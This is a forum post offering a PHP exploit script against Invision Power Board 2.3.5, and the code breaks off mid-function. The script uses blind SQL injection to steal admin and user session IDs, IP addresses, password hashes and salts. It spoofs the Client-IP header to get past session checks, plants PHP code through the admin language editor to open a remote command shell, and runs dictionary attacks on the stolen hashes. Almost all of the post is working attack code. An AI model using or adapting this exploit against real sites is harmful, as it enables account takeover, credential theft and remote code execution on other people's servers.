IP.Board 2.3.5 Multiple exploits.

Invision Power Board 2.3.5 exploits. (current version)

[hide=20]

[code]#!/usr/bin/php -q

<?php

# This file requires the PhpSploit class.

# If you want to use this class, the latest

# version can be downloaded from acid-root.new.fr.

##################################################

error_reporting(E_ALL ^ E_NOTICE);

require(&#39;phpsploitclass.php&#39;);

# yeah ... it rox (:

class ipb_spl

{

var $web;

function main()

{

$this->mhead();

# Gimme your args

$this->p_attack = $this->get_p(&#39;attack&#39;, true);

$this->p_prox = $this->get_p(&#39;proxhost&#39;);

$this->p_proxa = $this->get_p(&#39;proxauth&#39;);

$this->init_global();

# Proxy params

if( $this->p_prox )

{

$this->web->proxy($this->p_prox);

if( $this->p_proxa )

$this->web->proxyauth($this->p_proxa);

}

# Where do we go ?

switch( $this->p_attack )

{

case 1: $this->code_exec(); break;

case 2; $this->bf_sql_pwd(); break;

case 3: $this->bf_usr_pwd(); break;

default: $this->usage();

}

return;

}

function code_exec($loop=1)

{

# First loop

if( $loop == 1 )

{

$this->set_sql_param();

$this->set_sql_focus();

$this->p_acp = $this->get_p(&#39;acp&#39;);

# ACP path

if( !$this->p_acp )

{

# If the user changed the ACP directory, we can

# find it (if the "Remove ACP Link" option was not

# applied) by log in as an Admin, and then click

# on "Admin CP". This can be done with a user

# but I didn&#39;t implemented that;)

$this->msg(&#39;Using default ACP path: admin&#39;, 1);

$this->p_acp = &#39;admin&#39;;

}

else

$this->msg(&#39;Using ACP path "&#39;.$this->p_acp.&#39;"&#39;, 1);

# Init client headers:

# Only if we have the same IP as the targeted user (not admin),

# it resets session datas, so we try to spoof our

# IP as a random one in order to keep user&#39;s session datas while

# we bruteforce SQL fields.

$this->bypass_matches();

# Remove expired sessions ( time() - 60*60*2 = > 2 hours )

$this->web->get($this->p_url.$this->p_acp.&#39;/index.php?&#39;);

$this->msg(&#39;Removed all out of date admin sessions&#39;, 1);

# Cookie prefix

$this->get_cprefix();

}

# Admin session ?

$this->msg(&#39;Trying to find an admin session id&#39;, 0);

# Got one :]

if( $this->get_admin_sess() )

{

$this->s_admin = true;

$this->s_sess = $this->data[&#39;a_sess_id&#39;];

$this->a_url = $this->p_url.$this->p_acp.&#39;/index.php?adsess=&#39;.$this->s_sess;

}

# Nothing special

else

{

$this->s_admin = false;

$this->msg(&#39;No admin session id found&#39;, -1);

}

# User session ?

if( !$this->s_sess )

{

$this->msg(&#39;Trying to find a user session id&#39;, 0);

# Yep

if( $this->get_user_sess() )

$this->s_sess = $this->data[&#39;u_sess_id&#39;];

# F0ck

else

{

$this->msg(&#39;No user session id found&#39;, -1);

$this->msg(&#39;Admin session > 2 hours or user logged out&#39;, 0);

$this->msg(&#39;Keeping trying until the user connects&#39;, 0);

$this->msg(&#39;Entering loop #&#39;.$loop.&#39; ...&#39;, 0);

$this->code_exec(++$loop);

}

}

$this->msg(&#39;Getting security options&#39;, 0);

# Security options

$this->get_sec_options();

# IP filter ?

if( $this->conf[&#39;ip&#39;] === &#39;1&#39; )

{

$this->s_bypass = true;

$this->msg(&#39;IP filter option is turned on&#39;, 0);

# Spoofing protection ?

if( !$this->conf[&#39;xforward&#39;] )

{

# Assuming our IP isn&#39;t the same etc..

$this->msg(&#39;Can\&#39;t bypass the IP filter&#39;, -1);

exit(1);

}

# X-Forwarded-For / Client-IP /

# Proxy-User / X-Cluster-Client-IP

else

{

$this->msg(&#39;Cool, we can spoof our IP (Client-IP)&#39;, 1);

if( $this->s_admin )

{

$this->msg(&#39;Trying to find admin\&#39;s last IP&#39;, 0);

# Admin IP found

$this->get_admin_ip();

$this->s_ip = $this->data[&#39;a_ip_addr&#39;];

}

else

{

$this->s_admin = false;

$this->msg(&#39;Trying to find user\&#39;s last used IP&#39;, 0);

# User IP found

$this->get_user_ip();

$this->s_ip = $this->data[&#39;u_ip_addr&#39;];

}

# Nothing found

if( !$this->s_ip )

{

# Ahah (:

$this->msg(&#39;No IP found for this user&#39;, -1);

$this->give_hope();

}

# Got one !

else

$this->msg(&#39;Ok, using IP &#39;.$this->s_ip, 1);

}

}

# User-Agent filter ?

if( $this->conf[&#39;browser&#39;] === &#39;1&#39; && !$this->s_admin )

{

$this->s_bypass = true;

$this->msg(&#39;Trying to find a valid user-agent&#39;, 0);

# Good

if( $this->get_user_agent() )

{

$this->msg(&#39;Ok, using user-agent &#39;.substr($this->data[&#39;u_agent&#39;], 0, 10).&#39;...&#39;, 1);

$this->s_agent = $this->data[&#39;u_agent&#39;];

}

# WTF :!

else

{

$this->msg(&#39;No user-agent found for this user&#39;, -1);

$this->msg(&#39;Maybe the browser didn\&#39;t send this header&#39;, 0);

$this->s_agent = &#39;&#39;;

}

}

# Cool !?

if( !$this->s_bypass )

$this->msg(&#39;Cool, nothing to bypass&#39;, 1);

$this->msg(&#39;Trying to log in&#39;, 0);

# Owned =]

if( $this->is_logged() )

{

# PHP code

if( $this->s_admin )

{

$this->msg(&#39;Logged in with an admin session&#39;, 1);

$this->exec_code();

}

# Normal user ?

else

{

$this->msg(&#39;Logged in with a user session&#39;, 1);

$this->msg(&#39;You can log in using the cookie session_id&#39;, 1);

if( $this->s_ip !== $this->def_ip )

$this->msg(&#39;Set the Client-IP header to: &#39;.$this->s_ip, 1);

if( $this->s_agent )

$this->msg(&#39;Set the User-Agent header to: &#39;.$this->s_agent, 1);

exit(0);

}

}

else

{

# Even if the admin logged out .. the admin session

# is still valid;)

$this->msg(&#39;Can\&#39;t log in, the session has expired ?!&#39;, -1);

$this->give_hope();

}

return;

}

function bf_sql_pwd()

{

$this->p_ip = $this->get_p(&#39;ip&#39;, true);

$this->p_dict = $this->get_p(&#39;dict&#39;, true);

$this->p_sql_u = $this->get_p(&#39;sqlusr&#39;);

$this->p_url = $this->get_p(&#39;url&#39;);

$this->p_uname = $this->get_p(&#39;uname&#39;);

$this->p_pwd = $this->get_p(&#39;pwd&#39;);

// or

$this->p_uid = $this->get_p(&#39;uid&#39;);

$this->p_hash = $this->get_p(&#39;passhash&#39;);

$this->p_shold = $this->get_p(&#39;stronghold&#39;);

if( $this->p_uname && $this->p_pwd && $this->p_url )

{

$this->get_cprefix();

$this->msg(&#39;Trying to get some cookies&#39;, 0);

$g_dat = &#39;index.php?act=Login&CODE=01&CookieDate=1&#39;;

$p_dat = &#39;UserName=&#39;.$this->p_uname.&#39;&PassWord=&#39;.$this->p_pwd.&#39;&x=0&y=0&#39;;

$this->web->post($this->p_url.$g_dat, $p_dat);

$this->p_uid = $this->web->cookie[$this->s_cprefix.&#39;member_id&#39;];

$this->p_hash = $this->web->cookie[$this->s_cprefix.&#39;pass_hash&#39;];

$this->p_shold = $this->web->cookie[$this->s_cprefix.&#39;ipb_stronghold&#39;];

}

elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )

$this->usage();

if( !$this->p_uid || !$this->p_hash || !$this->p_shold )

{

$this->msg(&#39;Can\&#39;t get cookies&#39;, -1);

$this->msg(&#39;You should try with other parameters&#39;, -1);

exit(1);

}

$this->msg(&#39;Ok, using cookies:&#39;, 1);

$this->msg(&#39;member_id=&#39;.$this->p_uid, 1);

$this->msg(&#39;pass_hash=&#39;.$this->p_hash, 1);

$this->msg(&#39;ipb_stronghold=&#39;.$this->p_shold, 1);

if( !$this->p_sql_u )

{

$this->set_sql_param();

$this->msg(&#39;Trying to get the current sql user&#39;, 0);

if( !$this->get_sql_user() )

{

$this->msg(&#39;Can\&#39;t get the sql user&#39;, -1);

$this->msg(&#39;If you know the sql user, use -sqlusr&#39;, -1);

exit(1);

}

else

$this->p_sql_u = $this->data[&#39;sql_user&#39;];

}

$this->msg(&#39;Ok, using sql user &#39;.$this->p_sql_u, 1);

$dico_c = file($this->p_dict);

$ip_a = explode(&#39;.&#39;, $this->p_ip);

$this->msg(&#39;Entering local dictionnary attack (&#39;.count($dico_c).&#39; words)&#39;, 0);

$this->msg(&#39;You should take a drink ...&#39;, 0);

foreach( $dico_c as $line )

{

$md5 = md5(trim($line).$this->p_sql_u);

$md5 = md5($this->p_uid.&#39;-&#39;.$ip_a[0].&#39;-&#39;.$ip_a[1].&#39;-&#39;.$this->p_hash).$md5;

$md5 = md5($md5);

if( $this->p_shold === $md5 )

{

$this->msg(&#39;Found something cool =]&#39;, 1);

$this->msg(&#39;SQL password: &#39;.$line, 1);

exit(1);

}

}

$this->msg(&#39;End of the wordlist, password not found&#39;, -1);

return;

}

function bf_usr_pwd()

{

$this->p_dict = $this->get_p(&#39;dict&#39;, true);

$this->p_hash = $this->get_p(&#39;passhash&#39;);

$this->p_salt = $this->get_p(&#39;salt&#39;);

if( !$this->p_hash || !$this->p_salt )

{

$this->set_sql_param();

$this->set_sql_focus();

}

if( !$this->p_hash )

{

$this->msg(&#39;Trying to get the password hash&#39;, 0);

if( !$this->get_pass_hash() )

{

$this->msg(&#39;Can\&#39;t get the password hash&#39;, -1);

exit(1);

}

else

$this->p_hash = $this->data[&#39;pass_hash&#39;];

}

$this->msg(&#39;Ok, using hash &#39;.$this->p_hash, 1);

if( !$this->p_salt )

{

$this->msg(&#39;Trying to get the password salt&#39;, 0);

if( !$this->get_pass_salt() )

{

$this->msg(&#39;Can\&#39;t get the password salt&#39;, -1);

exit(1);

}

else

$this->p_salt = $this->data[&#39;pass_salt&#39;];

}

$this->msg(&#39;Ok, using salt &#39;.$this->p_salt, 1);

$dico_c = file($this->p_dict);

$this->msg(&#39;Entering local dictionnary attack (&#39;.count($dico_c).&#39; words)&#39;, 0);

$this->msg(&#39;You should take a drink ...&#39;, 0);

foreach( $dico_c as $line )

{

if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )

{

$this->msg(&#39;Found something cool =]&#39;, 1);

$this->msg(&#39;User password: &#39;.$line, 1);

exit(1);

}

}

$this->msg(&#39;End of the wordlist, password not found&#39;, -1);

return;

}

function set_sql_param()

{

$this->p_url = $this->get_p(&#39;url&#39;, true);

$this->p_pre = $this->get_p(&#39;prefix&#39;);

# Table prefix

if( !$this->p_pre )

{

# Default table prefix if not precised

$this->msg(&#39;Using default table prefix: ibf_&#39;, 1);

$this->p_pre = &#39;ibf_&#39;;

}

else

$this->msg(&#39;Using table prefix &#39;.$this->p_pre, 1);

}

function set_sql_focus()

{

$this->p_uname = $this->get_p(&#39;uname&#39;);

$this->p_uid = $this->get_p(&#39;uid&#39;);

if( $this->p_uname )

$this->msg(&#39;Using targeted username &#39;.$this->p_uname, 1);

elseif( $this->p_uid )

$this->msg(&#39;Using targeted user id &#39;.$this->p_uid, 1);

# Target

if( !($this->p_uname || $this->p_uid) )

{

# Default uid if not precised

$this->msg(&#39;Using default user id: 1&#39;, 1);

$this->p_uid = 1;

}

# Focus on ?

if( $this->p_uname )

$this->t_on = &#39;members_l_username=\&#39;&#39;.addslashes($this->p_uname).&#39;\&#39;&#39;;

else

$this->t_on = &#39;id=&#39;.(int)$this->p_uid;

return;

}

function exec_code()

{

$this->write_code();

while( $this->cmd_prompt() )

{

$this->web->addheader(&#39;My-Code&#39;, $this->cmd);

$this->web->get($this->p_url);

print "\n".$this->get_answer();

}

exit(0);

}

function get_answer()

{

$res_a = explode($this->res_sep, $this->web->getcontent());

if( !$res_a[1] )

return &#39;No result to retrieve&#39;;

else

return $res_a[1];

}

function cmd_prompt()

{

$this->cmd = $this->msg(&#39;root@ipb: &#39;, 1, 1, 0, true);

if( !ereg(&#39;^(quit|exit)$&#39;, $this->cmd) )

{

$this->cmd = base64_encode($this->cmd);

$this->cmd = str_replace(&#39;%CMD%&#39;, $this->cmd, $this->php_send);

return TRUE;

}

else

return FALSE;

}

function write_code()

{

# Gimme the language ID

$this->get_def_lang();

# Current lang settings

$p_dat =

&#39;code=edit2&act=lang&id=&#39;.$this->g_lid.&#39;&section&#39;.

&#39;=lookandfeel&lang_file=lang_boards.php&#39;;

$this->web->post($this->a_url, $p_dat);

# We collect each variable name / value

if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )

{

# POST data

$p_dat =

&#39;code=doedit&act=lang&id=&#39;.$this->g_lid.

&#39;&lang_file=lang_boards.php&section=lo&#39;.

&#39;okandfeel&&#39;;

# &Name=Value

for( $i=0; $i<count($l_vars[0]); $i++ )

{

$p_dat .=

&#39;&XX_&#39;.$l_vars[1][$i].&#39;=&#39;.urlencode($l_vars[2][$i]);

# We write our PHP code in the first variable

if( $i == 0 )

$p_dat .= $this->php_write;

}

# Go on

$this->web->post($this->a_url, $p_dat);

$this->msg(&#39;PHP code written&#39;, 1);

}

else

{

# WTF :!

$this->msg(&#39;Can\&#39;t find block variables&#39;, 0);

exit(1);

}

return;

}

function get_def_lang()

{

$this->msg(&#39;Trying to get the set language id&#39;, 0);

$this->web->get($this->a_url.&#39;&section=lookandfeel&act=lang&#39;);

if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )

{

$this->g_lid = $lids[1];

$this->msg(&#39;Using language id &#39;.$this->g_lid, 1);

}

else

{

$this->msg(&#39;Can\&#39;t get the default language id&#39;, -1);

exit(1);

}

return;

}

function is_logged()

{

$this->bypass_matches();

# User session ok ?

if( !$this->s_admin )

{

$match = &#39;act=Login&CODE=03&#39;;

$this->web->addcookie($this->s_cprefix.&#39;session_id&#39;, $this->s_sess);

$this->web->get($this->p_url);

}

# Admin session ok ?

else

{

$match = &#39;&section=&#39;;

$this->web->get($this->a_url);

}

if( preg_match("/$match/i", $this->web->getcontent()) )

return true;

else

return false;

}

function bypass_matches()

{

# match_browser

$this->web->agent($this->s_agent);

# match_ipaddress

$this->web->addheader(&#39;Client-IP&#39;, $this->s_ip);

return;

}

function get_cprefix()

{

$this->msg(&#39;Trying to get the cookie prefix&#39;, 0);

# Set-Cookie: session_id=...; path=/

$this->web->get($this->p_url);

$this->s_cprefix = &#39;&#39;;

if( $this->web->cookie )

{

foreach( $this->web->cookie as $name => $value)

{

if( preg_match($this->reg_cpre, $name, $cmatches) )

{

$this->s_cprefix = $cmatches[1];

break;

}

}

}

if( !$this->s_cprefix )

$this->msg(&#39;No cookie prefix set&#39;, 1);

else

$this->msg(&#39;Using cookie prefix &#39;.$this->s_cprefix, 1);

return;

}

function get_sec_options()

{

# If no value, take the default one

$this->get_conf(&#39;t.conf_value&#39;);

$this->get_conf(&#39;t.conf_default&#39;);

return;

}

function get_conf($field)

{

$this->init_sql();

$this->t_table = &#39;conf_settings&#39;;

$this->t_field = $field;

$this->t_char = $this->chr_num;

$this->t_add_0 = "AND t.conf_key=&#39;match_browser&#39;";

if( $this->conf[&#39;browser&#39;] === &#39;&#39; )

$this->conf[&#39;browser&#39;] = $this->bf_inj();

$this->t_add_0 = "AND t.conf_key=&#39;match_ipaddress&#39;";

if( $this->conf[&#39;ip&#39;] === &#39;&#39; )

$this->conf[&#39;ip&#39;] = $this->bf_inj();

$this->t_add_0 = "AND t.conf_key=&#39;xforward_matching&#39;";

if( $this->conf[&#39;xforward&#39;] === &#39;&#39; )

$this->conf[&#39;xforward&#39;] = $this->bf_inj();

return;

}

function get_login_key()

{

$this->init_sql();

$this->t_key = &#39;login_key&#39;;

$this->t_table = &#39;members&#39;;

$this->t_field = &#39;t.member_login_key&#39;;

$this->t_join = &#39;t.id=m.id&#39;;

$this->t_char = $this->chr_md5;

$this->data[&#39;login_key&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_sql_user()

{

$this->init_sql();

$this->t_key = &#39;user()&#39;;

$this->t_table = &#39;members&#39;;

$this->t_field = &#39;user()&#39;;

$this->t_char = $this->chr_all;

$this->t_end = &#39;@&#39;;

$this->data[&#39;sql_user&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_pass_hash()

{

$this->init_sql();

$this->t_key = &#39;pass_hash&#39;;

$this->t_table = &#39;members_converge&#39;;

$this->t_field = &#39;t.converge_pass_hash&#39;;

$this->t_join = &#39;t.converge_email=m.email&#39;;

$this->t_char = $this->chr_md5;

$this->data[&#39;pass_hash&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_pass_salt()

{

$this->init_sql();

$this->t_key = &#39;pass_salt&#39;;

$this->t_table = &#39;members_converge&#39;;

$this->t_field = &#39;t.converge_pass_salt&#39;;

$this->t_join = &#39;t.converge_email=m.email&#39;;

$this->t_char = $this->chr_all;

$this->data[&#39;pass_salt&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_admin_sess()

{

$this->init_sql();

$this->t_key = &#39;admin_sid&#39;;

$this->t_table = &#39;admin_sessions&#39;;

$this->t_field = &#39;t.session_id&#39;;

$this->t_join = &#39;t.session_member_id=m.id&#39;;

$this->t_sel = &#39;t.session_log_in_time&#39;;

$this->t_char = $this->chr_md5;

$this->data[&#39;a_sess_id&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_admin_ip()

{

$this->init_sql();

$this->t_key = &#39;admin_ip&#39;;

$this->t_table = &#39;admin_sessions&#39;;

$this->t_field = &#39;t.session_ip_address&#39;;

$this->t_join = &#39;t.session_member_id=m.id&#39;;

$this->t_sel = &#39;t.session_log_in_time&#39;;

$this->t_char = $this->chr_ip;

$this->data[&#39;a_ip_addr&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_admin_pwd()

{

$this->init_sql();

$this->t_key = &#39;admin_pwd&#39;;

$this->t_table = &#39;admin_login_logs&#39;;

$this->t_field = &#39;t.admin_post_details&#39;;

$this->t_join = &#39;t.admin_username=m.members_l_username&#39;;

$this->t_sel = &#39;t.admin_id&#39;;

$this->t_end = &#39;"&#39;;

$this->t_bchar = -4; # ";}}

$this->t_char = $this->chr_all;

$this->data[&#39;a_pwd_like&#39;]= $this->bf_inj();

return $this->key_val;

}

function get_user_sess()

{

$this->init_sql();

$this->t_key = &#39;user_sid&#39;;

$this->t_table = &#39;sessions&#39;;

$this->t_field = &#39;t.id&#39;;

$this->t_join = &#39;t.member_id=m.id&#39;;

$this->t_sel = &#39;t.running_time&#39;;

$this->t_char = $this->chr_md5;

$this->data[&#39;u_sess_id&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_user_ip()

{

$this->init_sql();

$this->t_key = &#39;user_ip&#39;;

$this->t_table = &#39;sessions&#39;;

$this->t_field = &#39;t.ip_address&#39;;

$this->t_join = &#39;t.member_id=m.id&#39;;

$this->t_sel = &#39;t.running_time&#39;;

$this->t_char = $this->chr_ip;

$this->data[&#39;u_ip_addr&#39;] = $this->bf_inj();

return $this->key_val;

}

function get_user_agent()

{

$this->init_sql();

$this->t_key = &#39;user_agent&#39;;

$this->t_table = &#39;sessions&#39;;

$this->t_field = &#39;t.browser&#39;;

$this->t_join = &#39;t.member_id=m.id&#39;;

$this->t_sel = &#39;t.running_time&#39;;

$this->t_char = $this->chr_all;

$this->data[&#39;u_agent&#39;] = $this->bf_inj();

return $this->key_val;

}

function init_sql()

{

# SQL Injection params

$this->t_end = null;

$this->t_add_0 = &#39;&#39;;

$this->t_add_1 = &#39;&#39;;

$this->t_sel = &#39;1&#39;;

$this->t_bchar = 0;

$this->t_join = &#39;&#39;;

$this->t_key = &#39;&#39;;

$this->t_add_1 = &#39;ORDER BY id DESC LIMIT 1&#39;;

return;

}

function init_global()

{

# Charsets

$this->chr_spe = str_split(&#39; :/;*(-.!,?